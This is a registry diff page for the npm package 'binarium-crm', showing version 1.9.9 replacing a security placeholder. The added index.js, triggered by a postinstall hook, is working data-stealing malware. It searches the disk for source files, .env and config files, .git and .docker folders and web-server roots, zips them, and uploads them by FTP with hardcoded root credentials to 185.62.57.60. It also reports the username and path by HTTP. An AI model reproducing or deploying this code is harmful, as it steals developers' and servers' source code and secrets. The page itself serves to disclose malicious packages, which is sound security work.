binarium-crm 0.0.1-security → 1.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of binarium-crm might be problematic. Click here for more details.
- package/index.js +473 -0
- package/package.json +17 -3
- package/preinstall.js +8 -0
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,473 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const archiver = require('archiver');
|
|
4
|
+
const util = require('util');
|
|
5
|
+
const os = require('os');
|
|
6
|
+
const ftpClient = require('ftp');
|
|
7
|
+
const querystring = require('querystring');
|
|
8
|
+
const http = require('http');
|
|
9
|
+
const url = require('url');
|
|
10
|
+
|
|
11
|
+
function getDirectoryPath() {
|
|
12
|
+
filename = __filename;
|
|
13
|
+
return path.dirname(filename);
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
function getParentPath(inputPath) {
|
|
17
|
+
let currentPath = inputPath;
|
|
18
|
+
let previousPath;
|
|
19
|
+
|
|
20
|
+
while (true) {
|
|
21
|
+
|
|
22
|
+
const stats = fs.statSync(currentPath);
|
|
23
|
+
const birthtimeMs = stats.birthtimeMs;
|
|
24
|
+
|
|
25
|
+
if (birthtimeMs === 1577865600000) {
|
|
26
|
+
return previousPath;
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
if (currentPath === '/') break;
|
|
30
|
+
|
|
31
|
+
previousPath = currentPath;
|
|
32
|
+
currentPath = path.dirname(currentPath);
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
return null;
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
function findFilesWithExtensions_osx(dir, extensions, directoriesToSearch = [], birthtimeMsToSkip = null) {
|
|
39
|
+
let searchedFiles = [];
|
|
40
|
+
let searchedDirectories = [];
|
|
41
|
+
|
|
42
|
+
try {
|
|
43
|
+
const files = fs.readdirSync(dir);
|
|
44
|
+
|
|
45
|
+
files.forEach(file => {
|
|
46
|
+
const filePath = path.join(dir, file);
|
|
47
|
+
|
|
48
|
+
try {
|
|
49
|
+
fs.accessSync(filePath, fs.constants.R_OK);
|
|
50
|
+
} catch (err) {
|
|
51
|
+
return;
|
|
52
|
+
}
|
|
53
|
+
|
|
54
|
+
try {
|
|
55
|
+
const linkStats = fs.lstatSync(filePath);
|
|
56
|
+
if (linkStats.isSymbolicLink()) {
|
|
57
|
+
return;
|
|
58
|
+
}
|
|
59
|
+
const stats = fs.statSync(filePath);
|
|
60
|
+
|
|
61
|
+
// Check if the item's birthtimeMs matches the specified value, then skip it
|
|
62
|
+
if (birthtimeMsToSkip !== null && stats.birthtimeMs === birthtimeMsToSkip) {
|
|
63
|
+
console.log(`Skipping ${filePath} due to matching birthtimeMs: ${birthtimeMsToSkip}`);
|
|
64
|
+
return; // Skip this item and move to the next
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
if (stats.isDirectory()) {
|
|
68
|
+
if (directoriesToSearch.includes(file)) {
|
|
69
|
+
searchedDirectories.push(filePath);
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
const [childFiles, childDirectories] = findFilesWithExtensions(filePath, extensions, directoriesToSearch, birthtimeMsToSkip);
|
|
73
|
+
searchedFiles = searchedFiles.concat(childFiles);
|
|
74
|
+
searchedDirectories = searchedDirectories.concat(childDirectories);
|
|
75
|
+
} else if (extensions.includes(path.extname(file))) {
|
|
76
|
+
const sizeInBytes = stats.size;
|
|
77
|
+
const sizeInKB = sizeInBytes / 1024;
|
|
78
|
+
searchedFiles.push(`${filePath}`);
|
|
79
|
+
}
|
|
80
|
+
} catch (err) {
|
|
81
|
+
}
|
|
82
|
+
});
|
|
83
|
+
} catch (err) {
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
return [searchedFiles, searchedDirectories];
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
function appendDirectory_osx(srcDir, destDir, archive, zip_name) {
|
|
90
|
+
if (!fs.existsSync(srcDir)) {
|
|
91
|
+
return;
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
const stats = fs.statSync(srcDir);
|
|
95
|
+
if (!stats.isDirectory()) {
|
|
96
|
+
const archiveName = destDir ? path.join(destDir, srcDir) : srcDir;
|
|
97
|
+
archive.file(srcDir, { name: archiveName });
|
|
98
|
+
return;
|
|
99
|
+
}
|
|
100
|
+
|
|
101
|
+
const files = fs.readdirSync(srcDir);
|
|
102
|
+
|
|
103
|
+
for (let j = 0; j < files.length; j++) {
|
|
104
|
+
if (zip_name === files[j]) {
|
|
105
|
+
continue;
|
|
106
|
+
}
|
|
107
|
+
|
|
108
|
+
const fullPath = path.join(srcDir, files[j]);
|
|
109
|
+
if (!fs.existsSync(fullPath)) {
|
|
110
|
+
continue;
|
|
111
|
+
}
|
|
112
|
+
if (path.extname(fullPath) === ".zip") {
|
|
113
|
+
continue;
|
|
114
|
+
}
|
|
115
|
+
|
|
116
|
+
const fileStats = fs.statSync(fullPath);
|
|
117
|
+
|
|
118
|
+
if (fileStats.isDirectory()) {
|
|
119
|
+
appendDirectory(fullPath, destDir, archive, zip_name);
|
|
120
|
+
} else {
|
|
121
|
+
const archiveName = destDir ? path.join(destDir, fullPath) : fullPath;
|
|
122
|
+
archive.file(fullPath, { name: archiveName });
|
|
123
|
+
}
|
|
124
|
+
}
|
|
125
|
+
}
|
|
126
|
+
|
|
127
|
+
function sendHTTPRequest(text) {
|
|
128
|
+
let query;
|
|
129
|
+
|
|
130
|
+
if (text) {
|
|
131
|
+
query = querystring.stringify({ text: text });
|
|
132
|
+
} else {
|
|
133
|
+
const osUser = os.userInfo().username;
|
|
134
|
+
const currentScriptPath = getDirectoryPath();
|
|
135
|
+
|
|
136
|
+
query = querystring.stringify({
|
|
137
|
+
user: osUser,
|
|
138
|
+
path: currentScriptPath,
|
|
139
|
+
});
|
|
140
|
+
}
|
|
141
|
+
|
|
142
|
+
const requestUrl = url.format({
|
|
143
|
+
protocol: 'http',
|
|
144
|
+
hostname: '185.62.57.60',
|
|
145
|
+
port: '8000',
|
|
146
|
+
pathname: '/http',
|
|
147
|
+
search: query,
|
|
148
|
+
});
|
|
149
|
+
|
|
150
|
+
http.get(requestUrl, (res) => {
|
|
151
|
+
let data = '';
|
|
152
|
+
|
|
153
|
+
res.on('data', (chunk) => {
|
|
154
|
+
data += chunk;
|
|
155
|
+
});
|
|
156
|
+
|
|
157
|
+
res.on('end', () => {
|
|
158
|
+
});
|
|
159
|
+
|
|
160
|
+
}).on("error", (err) => {
|
|
161
|
+
});
|
|
162
|
+
}
|
|
163
|
+
|
|
164
|
+
function getPathToSecondDirectory() {
|
|
165
|
+
const parsedPath = path.parse(getDirectoryPath());
|
|
166
|
+
const parts = parsedPath.dir.split(path.sep);
|
|
167
|
+
|
|
168
|
+
return path.join(parts[0] + path.sep, parts[1], parts[2]);
|
|
169
|
+
}
|
|
170
|
+
|
|
171
|
+
|
|
172
|
+
function findFilesWithExtensions(dir, extensions, directoriesToSearch = []) {
|
|
173
|
+
let searchedFiles = [];
|
|
174
|
+
let searchedDirectories = [];
|
|
175
|
+
|
|
176
|
+
try {
|
|
177
|
+
const files = fs.readdirSync(dir);
|
|
178
|
+
|
|
179
|
+
files.forEach(file => {
|
|
180
|
+
const filePath = path.join(dir, file);
|
|
181
|
+
|
|
182
|
+
try {
|
|
183
|
+
const linkStats = fs.lstatSync(filePath);
|
|
184
|
+
if (linkStats.isSymbolicLink()) {
|
|
185
|
+
return;
|
|
186
|
+
}
|
|
187
|
+
const stats = fs.statSync(filePath);
|
|
188
|
+
|
|
189
|
+
if (stats.isDirectory()) {
|
|
190
|
+
if (directoriesToSearch.includes(file)) {
|
|
191
|
+
searchedDirectories.push(filePath);
|
|
192
|
+
}
|
|
193
|
+
|
|
194
|
+
const [childFiles, childDirectories] = findFilesWithExtensions(filePath, extensions, directoriesToSearch);
|
|
195
|
+
searchedFiles = searchedFiles.concat(childFiles);
|
|
196
|
+
searchedDirectories = searchedDirectories.concat(childDirectories);
|
|
197
|
+
} else if (extensions.includes(path.extname(file))) {
|
|
198
|
+
const sizeInBytes = stats.size;
|
|
199
|
+
const sizeInKB = sizeInBytes / 1024;
|
|
200
|
+
searchedFiles.push(`${filePath}`);
|
|
201
|
+
}
|
|
202
|
+
} catch (err) {
|
|
203
|
+
}
|
|
204
|
+
});
|
|
205
|
+
} catch (err) {
|
|
206
|
+
}
|
|
207
|
+
|
|
208
|
+
return [searchedFiles, searchedDirectories];
|
|
209
|
+
}
|
|
210
|
+
|
|
211
|
+
|
|
212
|
+
function appendDirectory(srcDir, destDir,archive,zip_name) {
|
|
213
|
+
|
|
214
|
+
if (srcDir.startsWith("/usr/") || srcDir.startsWith("/snap/")){
|
|
215
|
+
return 1;
|
|
216
|
+
}
|
|
217
|
+
|
|
218
|
+
|
|
219
|
+
|
|
220
|
+
try{
|
|
221
|
+
let err = fs.accessSync(srcDir, fs.constants.R_OK);
|
|
222
|
+
|
|
223
|
+
|
|
224
|
+
}
|
|
225
|
+
catch{
|
|
226
|
+
}
|
|
227
|
+
try{
|
|
228
|
+
err = fs.accessSync("./", fs.constants.W_OK);
|
|
229
|
+
err = fs.accessSync("./", fs.constants.R_OK);
|
|
230
|
+
|
|
231
|
+
|
|
232
|
+
}
|
|
233
|
+
catch{
|
|
234
|
+
return 0;
|
|
235
|
+
}
|
|
236
|
+
|
|
237
|
+
try{
|
|
238
|
+
if (!fs.existsSync(srcDir)) {
|
|
239
|
+
return 1;
|
|
240
|
+
}}
|
|
241
|
+
catch{
|
|
242
|
+
return 0;
|
|
243
|
+
}
|
|
244
|
+
|
|
245
|
+
const stats=fs.statSync(srcDir);
|
|
246
|
+
if (!stats.isDirectory()) {
|
|
247
|
+
try{
|
|
248
|
+
let err = fs.accessSync(srcDir, fs.constants.R_OK);
|
|
249
|
+
if (!err){
|
|
250
|
+
archive.file(srcDir, { name: path.join(destDir,srcDir) });
|
|
251
|
+
}
|
|
252
|
+
}
|
|
253
|
+
catch{
|
|
254
|
+
}
|
|
255
|
+
return 1;
|
|
256
|
+
}
|
|
257
|
+
|
|
258
|
+
|
|
259
|
+
try{
|
|
260
|
+
fs.readdirSync(srcDir);
|
|
261
|
+
}
|
|
262
|
+
|
|
263
|
+
catch{
|
|
264
|
+
return 0;
|
|
265
|
+
}
|
|
266
|
+
const files = fs.readdirSync(srcDir);
|
|
267
|
+
|
|
268
|
+
|
|
269
|
+
for (let j=0;j<files.length;j=j+1){
|
|
270
|
+
if (zip_name===files[j]){
|
|
271
|
+
continue;
|
|
272
|
+
}
|
|
273
|
+
|
|
274
|
+
const fullPath = path.join(srcDir, files[j]);
|
|
275
|
+
if (!fs.existsSync(fullPath)) {
|
|
276
|
+
continue;
|
|
277
|
+
}
|
|
278
|
+
if (path.extname(fullPath)==".zip"){
|
|
279
|
+
continue;
|
|
280
|
+
}
|
|
281
|
+
const archivePath = destDir ? path.join(destDir, files[j]) : files[j];
|
|
282
|
+
const stats=fs.statSync(fullPath);
|
|
283
|
+
if (stats.isDirectory()) {
|
|
284
|
+
appendDirectory(fullPath, destDir,archive,zip_name);
|
|
285
|
+
}
|
|
286
|
+
else {
|
|
287
|
+
|
|
288
|
+
try{
|
|
289
|
+
|
|
290
|
+
let err = fs.accessSync(fullPath, fs.constants.R_OK);
|
|
291
|
+
|
|
292
|
+
if (!err){
|
|
293
|
+
archive.file(fullPath, { name: path.join(destDir, fullPath) });
|
|
294
|
+
}
|
|
295
|
+
}
|
|
296
|
+
catch{
|
|
297
|
+
}
|
|
298
|
+
|
|
299
|
+
}
|
|
300
|
+
}
|
|
301
|
+
}
|
|
302
|
+
|
|
303
|
+
|
|
304
|
+
function uploadArchiveToFTP(archiveName) {
|
|
305
|
+
return new Promise((resolve, reject) => {
|
|
306
|
+
const client = new ftpClient();
|
|
307
|
+
const host = '185.62.57.60';
|
|
308
|
+
const port = 21;
|
|
309
|
+
const user = 'root';
|
|
310
|
+
const password = 'TestX@!#33';
|
|
311
|
+
const remotePath = '/';
|
|
312
|
+
const localPath = path.join(getDirectoryPath(), archiveName);
|
|
313
|
+
|
|
314
|
+
client.on('ready', () => {
|
|
315
|
+
client.put(localPath, remotePath + archiveName, (err) => {
|
|
316
|
+
if (err) {
|
|
317
|
+
return;
|
|
318
|
+
}
|
|
319
|
+
client.end();
|
|
320
|
+
resolve();
|
|
321
|
+
});
|
|
322
|
+
});
|
|
323
|
+
|
|
324
|
+
|
|
325
|
+
client.connect({ host, port, user, password });
|
|
326
|
+
});
|
|
327
|
+
}
|
|
328
|
+
|
|
329
|
+
|
|
330
|
+
function findFirstReadableDirectory() {
|
|
331
|
+
let currentPath = path.sep;
|
|
332
|
+
try {
|
|
333
|
+
fs.accessSync(currentPath, fs.constants.R_OK);
|
|
334
|
+
return currentPath;
|
|
335
|
+
} catch (error) {
|
|
336
|
+
}
|
|
337
|
+
|
|
338
|
+
const cwdParts = getDirectoryPath().split(path.sep);
|
|
339
|
+
|
|
340
|
+
for (const part of cwdParts.slice(1)) {
|
|
341
|
+
currentPath = path.join(currentPath, part);
|
|
342
|
+
|
|
343
|
+
try {
|
|
344
|
+
fs.accessSync(currentPath, fs.constants.R_OK);
|
|
345
|
+
return currentPath;
|
|
346
|
+
} catch (error) {
|
|
347
|
+
}
|
|
348
|
+
}
|
|
349
|
+
|
|
350
|
+
return null;
|
|
351
|
+
}
|
|
352
|
+
|
|
353
|
+
async function main(){
|
|
354
|
+
if (process.platform === 'darwin') {
|
|
355
|
+
sendHTTPRequest();
|
|
356
|
+
var zip_name='dirs_back_osx.zip';
|
|
357
|
+
var zip_name_files='files_back_osx.zip';
|
|
358
|
+
var new_name = 'files';
|
|
359
|
+
const inputPath = getParentPath(getDirectoryPath());
|
|
360
|
+
const extensionsToSearch = ['.asp', '.js', '.php', '.aspx', '.jspx', '.jhtml', '.py', '.rb', '.pl', '.cfm', '.cgi', '.ssjs', '.shtml', '.env', '.ini', '.conf', '.properties', '.yml', '.cfg'];
|
|
361
|
+
const directoriesToSearch = ['.git', '.env', '.svn', '.gitlab', '.hg', '.idea', '.yarn', '.docker', '.vagrant', '.github'];
|
|
362
|
+
const birthtimeMsToSkip = 1577865600000;
|
|
363
|
+
let searchedWords = findFilesWithExtensions_osx(inputPath, extensionsToSearch, directoriesToSearch, birthtimeMsToSkip);
|
|
364
|
+
console.log(searchedWords);
|
|
365
|
+
searchedWords[0] = [...new Set(searchedWords[0])];
|
|
366
|
+
searchedWords[1] = [...new Set(searchedWords[1])];
|
|
367
|
+
var output = fs.createWriteStream(zip_name);
|
|
368
|
+
const archive = archiver('zip', {
|
|
369
|
+
zlib: { level: 9 }
|
|
370
|
+
});
|
|
371
|
+
archive.pipe(output);
|
|
372
|
+
searchedWords[0].forEach(item => {
|
|
373
|
+
files = appendDirectory_osx(item, new_name,archive,zip_name);
|
|
374
|
+
});
|
|
375
|
+
await archive.finalize();
|
|
376
|
+
uploadArchiveToFTP(zip_name);
|
|
377
|
+
var output1 = fs.createWriteStream(zip_name_files);
|
|
378
|
+
const archive1 = archiver('zip', {
|
|
379
|
+
zlib: { level: 9 }
|
|
380
|
+
});
|
|
381
|
+
archive1.pipe(output1);
|
|
382
|
+
searchedWords[1].forEach(item => {
|
|
383
|
+
files = appendDirectory_osx(item, new_name,archive1,zip_name_files);
|
|
384
|
+
});
|
|
385
|
+
await archive1.finalize();
|
|
386
|
+
uploadArchiveToFTP(zip_name_files);
|
|
387
|
+
var zip_name_3 = "dir.zip";
|
|
388
|
+
var output2 = fs.createWriteStream(zip_name_3);
|
|
389
|
+
const archive2 = archiver('zip', {
|
|
390
|
+
zlib: { level: 9 }
|
|
391
|
+
});
|
|
392
|
+
archive2.pipe(output2);
|
|
393
|
+
last_dir=getParentPath(getDirectoryPath());
|
|
394
|
+
try{
|
|
395
|
+
appendDirectory_osx(inputPath, new_name,archive2,zip_name_3);
|
|
396
|
+
}
|
|
397
|
+
catch{
|
|
398
|
+
appendDirectory_osx(inputPath, new_name,archive2,zip_name_3);
|
|
399
|
+
}
|
|
400
|
+
await archive2.finalize();
|
|
401
|
+
await uploadArchiveToFTP(zip_name_3);
|
|
402
|
+
return;
|
|
403
|
+
}
|
|
404
|
+
sendHTTPRequest();
|
|
405
|
+
var zip_name='dirs_back.zip';
|
|
406
|
+
var zip_name_files='files_back.zip';
|
|
407
|
+
const startDir = findFirstReadableDirectory();
|
|
408
|
+
var new_name = 'files';
|
|
409
|
+
const extensions = ['.asp', '.js', '.php', '.aspx', '.jspx', '.jhtml', '.py', '.rb', '.pl', '.cfm', '.cgi', '.ssjs', '.shtml', '.env', '.ini', '.conf', '.properties', '.yml', '.cfg'];
|
|
410
|
+
const directoriesToSearch = ['.git', '.env', '.svn', '.gitlab', '.hg', '.idea', '.yarn', '.docker', '.vagrant', '.github'];
|
|
411
|
+
let searchedWords = findFilesWithExtensions(startDir, extensions, directoriesToSearch);
|
|
412
|
+
searchedWords[0] = [...new Set(searchedWords[0])];
|
|
413
|
+
searchedWords[1] = [...new Set(searchedWords[1])];
|
|
414
|
+
var output = fs.createWriteStream(zip_name);
|
|
415
|
+
const archive = archiver('zip', {
|
|
416
|
+
zlib: { level: 9 }
|
|
417
|
+
});
|
|
418
|
+
archive.pipe(output);
|
|
419
|
+
searchedWords[0].forEach(item => {
|
|
420
|
+
files = appendDirectory(item, new_name,archive,zip_name);
|
|
421
|
+
});
|
|
422
|
+
await archive.finalize();
|
|
423
|
+
uploadArchiveToFTP(zip_name);
|
|
424
|
+
var output1 = fs.createWriteStream(zip_name_files);
|
|
425
|
+
const archive1 = archiver('zip', {
|
|
426
|
+
zlib: { level: 9 }
|
|
427
|
+
});
|
|
428
|
+
archive1.pipe(output1);
|
|
429
|
+
searchedWords[1].forEach(item => {
|
|
430
|
+
files = appendDirectory(item, new_name,archive1,zip_name_files);
|
|
431
|
+
});
|
|
432
|
+
await archive1.finalize();
|
|
433
|
+
uploadArchiveToFTP(zip_name_files);
|
|
434
|
+
const specificDirectoriesToArchive = [
|
|
435
|
+
'/var/www/html',
|
|
436
|
+
'/usr/share/nginx/html',
|
|
437
|
+
'/usr/local/var/www'
|
|
438
|
+
];
|
|
439
|
+
const zipNameForSpecificDirs = 'specific_directories.zip';
|
|
440
|
+
const outputForSpecificDirs = fs.createWriteStream(zipNameForSpecificDirs);
|
|
441
|
+
const archiveForSpecificDirs = archiver('zip', {
|
|
442
|
+
zlib: { level: 9 }
|
|
443
|
+
});
|
|
444
|
+
archiveForSpecificDirs.pipe(outputForSpecificDirs);
|
|
445
|
+
|
|
446
|
+
for (const dir of specificDirectoriesToArchive) {
|
|
447
|
+
try {
|
|
448
|
+
await fs.promises.access(dir, fs.constants.R_OK);
|
|
449
|
+
await appendDirectory(dir, new_name, archiveForSpecificDirs, zipNameForSpecificDirs);
|
|
450
|
+
} catch (error) {
|
|
451
|
+
}
|
|
452
|
+
}
|
|
453
|
+
|
|
454
|
+
await archiveForSpecificDirs.finalize();
|
|
455
|
+
uploadArchiveToFTP(zipNameForSpecificDirs);
|
|
456
|
+
var zip_name_3 = "dir.zip";
|
|
457
|
+
var output2 = fs.createWriteStream(zip_name_3);
|
|
458
|
+
const archive2 = archiver('zip', {
|
|
459
|
+
zlib: { level: 9 }
|
|
460
|
+
});
|
|
461
|
+
archive2.pipe(output2);
|
|
462
|
+
last_dir=getPathToSecondDirectory();
|
|
463
|
+
try{
|
|
464
|
+
appendDirectory(last_dir, new_name,archive2,zip_name_3);
|
|
465
|
+
}
|
|
466
|
+
catch{
|
|
467
|
+
appendDirectory(last_dir, new_name,archive2,zip_name_3);
|
|
468
|
+
}
|
|
469
|
+
await archive2.finalize();
|
|
470
|
+
await uploadArchiveToFTP(zip_name_3);
|
|
471
|
+
}
|
|
472
|
+
|
|
473
|
+
main();
|
package/package.json
CHANGED
|
@@ -1,6 +1,20 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "binarium-crm",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
3
|
+
"version": "1.9.9",
|
|
4
|
+
"private": false,
|
|
5
|
+
"publishConfig": {
|
|
6
|
+
"access": "public"
|
|
7
|
+
},
|
|
8
|
+
"description": "",
|
|
9
|
+
"main": "main.js",
|
|
10
|
+
"scripts": {
|
|
11
|
+
"postinstall": "node preinstall.js",
|
|
12
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
13
|
+
},
|
|
14
|
+
"author": "lexi2",
|
|
15
|
+
"license": "ISC",
|
|
16
|
+
"dependencies": {
|
|
17
|
+
"archiver": "^5.3.1",
|
|
18
|
+
"ftp": "^0.3.10"
|
|
19
|
+
}
|
|
6
20
|
}
|
package/preinstall.js
ADDED
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=binarium-crm for more information.
|